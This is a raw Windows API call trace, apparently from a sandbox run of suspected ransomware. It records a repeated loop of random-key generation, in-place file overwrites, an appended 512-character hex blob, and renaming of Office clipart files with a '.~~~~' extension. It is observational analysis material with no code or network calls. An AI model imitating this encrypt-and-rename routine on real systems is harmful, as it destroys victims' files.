	[0092.511] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.511] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.511] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.511] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.511] CloseHandle (hObject=0x128) returned 1
	[0092.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da750
	[0092.512] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf.~~~~")) returned 1
	[0092.512] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
	[0092.512] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0092.512] GetLastError () returned 0x0
	[0092.513] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0092.514] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.514] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.514] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0092.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0092.514] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21250423963) returned 1
	[0092.514] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa0e84a50, dwHighDateTime=0x1d60e1e)) 
	[0092.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0092.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0092.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0092.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387e28
	[0092.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.514] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387e28 | out: hHeap=0x300000) returned 1
	[0092.515] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.515] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.515] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da750
	[0092.515] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.515] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38b1b0
	[0092.515] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
	[0092.515] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0092.515] GetLastError () returned 0x0
	[0092.515] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0092.515] GetLastError () returned 0x0
	[0092.518] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffc8a2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.518] WriteFile (in: hFile=0x128, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x375e, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x375e, lpOverlapped=0x0) returned 1
	[0092.519] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0092.519] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.519] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.519] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.519] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.519] CloseHandle (hObject=0x128) returned 1
	[0092.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da750
	[0092.519] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf.~~~~")) returned 1
	[0092.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
	[0092.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0092.520] GetLastError () returned 0x0
	[0092.521] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0092.522] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.522] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.522] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0092.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0092.522] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21251218239) returned 1
	[0092.522] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa0eaabb0, dwHighDateTime=0x1d60e1e)) 
	[0092.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0092.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0092.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0092.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387e60
	[0092.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.522] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387e60 | out: hHeap=0x300000) returned 1
	[0092.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.522] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da750
	[0092.523] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38b248
	[0092.523] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
	[0092.523] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0092.523] GetLastError () returned 0x0
	[0092.523] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0092.523] GetLastError () returned 0x0
	[0092.525] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffb246, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.525] WriteFile (in: hFile=0x128, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x4dba, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x4dba, lpOverlapped=0x0) returned 1
	[0092.526] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0092.526] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.526] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.527] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.527] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.527] CloseHandle (hObject=0x128) returned 1
	[0092.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da750
	[0092.527] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf.~~~~")) returned 1
	[0092.528] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
	[0092.528] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0092.528] GetLastError () returned 0x0
	[0092.528] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0092.529] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.529] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.529] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.529] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0092.529] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0092.529] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21251963913) returned 1
	[0092.530] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa0eaabb0, dwHighDateTime=0x1d60e1e)) 
	[0092.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0092.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0092.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0092.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387e98
	[0092.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.530] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387e98 | out: hHeap=0x300000) returned 1
	[0092.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.530] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da750
	[0092.530] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38b2e0
	[0092.530] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
	[0092.530] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0092.530] GetLastError () returned 0x0
	[0092.530] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0092.530] GetLastError () returned 0x0
	[0092.534] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffc2c0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.534] WriteFile (in: hFile=0x128, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x3d40, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x3d40, lpOverlapped=0x0) returned 1
	[0092.535] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0092.535] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.535] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.535] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.535] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.535] CloseHandle (hObject=0x128) returned 1
	[0092.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da750
	[0092.536] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf.~~~~")) returned 1
	[0092.537] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
	[0092.537] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0092.537] GetLastError () returned 0x0
	[0092.537] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0092.538] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.538] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.538] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.538] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0092.538] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0092.538] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21252854563) returned 1
	[0092.538] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa0ed0d10, dwHighDateTime=0x1d60e1e)) 
	[0092.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0092.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0092.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0092.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387ed0
	[0092.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.539] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387ed0 | out: hHeap=0x300000) returned 1
	[0092.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.539] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da750
	[0092.539] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38b378
	[0092.539] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
	[0092.539] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0092.539] GetLastError () returned 0x0
	[0092.539] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0092.540] GetLastError () returned 0x0
	[0092.634] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffacec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.634] WriteFile (in: hFile=0x128, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x5314, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x5314, lpOverlapped=0x0) returned 1
	[0092.635] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0092.635] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.635] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.635] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.635] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.635] CloseHandle (hObject=0x128) returned 1
	[0092.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0092.636] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf.~~~~")) returned 1
	[0092.644] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.644] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0092.644] GetLastError () returned 0x0
	[0092.644] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0092.645] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.645] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.645] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.645] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0092.645] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0092.645] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21263560680) returned 1
	[0092.646] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa0fdb6b0, dwHighDateTime=0x1d60e1e)) 
	[0092.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0092.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0092.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0092.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x388170
	[0092.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.646] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x388170 | out: hHeap=0x300000) returned 1
	[0092.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.646] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0092.646] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38b410
	[0092.646] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.646] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0092.646] GetLastError () returned 0x0
	[0092.646] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0092.646] GetLastError () returned 0x0
	[0092.650] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffbf2c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.650] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x40d4, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x26dfec0*=0x40d4, lpOverlapped=0x0) returned 1
	[0092.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
